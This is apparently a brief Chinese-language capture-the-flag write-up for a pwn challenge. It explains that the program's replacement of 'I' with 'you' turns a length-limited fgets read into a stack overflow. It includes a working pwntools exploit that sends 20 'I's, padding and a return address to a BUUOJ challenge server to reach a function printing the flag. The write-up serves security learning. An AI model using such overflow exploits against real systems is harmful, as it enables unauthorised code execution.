查看保护
找到关键函数
发现fgetsg函数 溢出0x3c
fgets()
函数从指定的文件流 stream
中读取字符,并将其存储在 str
指向的字符数组中,直到遇到换行符 \n
或达到最大字符数 n-1
,或者遇到文件尾。fgets()
函数相对安全,因为它可以限制读取的字符数,防止缓冲区溢出
这里我们正常溢出是不行的
但是可以发现会将输入的 I 换成 you
也就是我们可以用20个 I 来溢出
也找出了cat flag.txt
构造EXp
from pwn import *
sh=remote('node4.buuoj.cn',28007)
payload =0x8048f13
sh.sendline('I'*20+'AAAA' + p32(payload))
sh.interactive()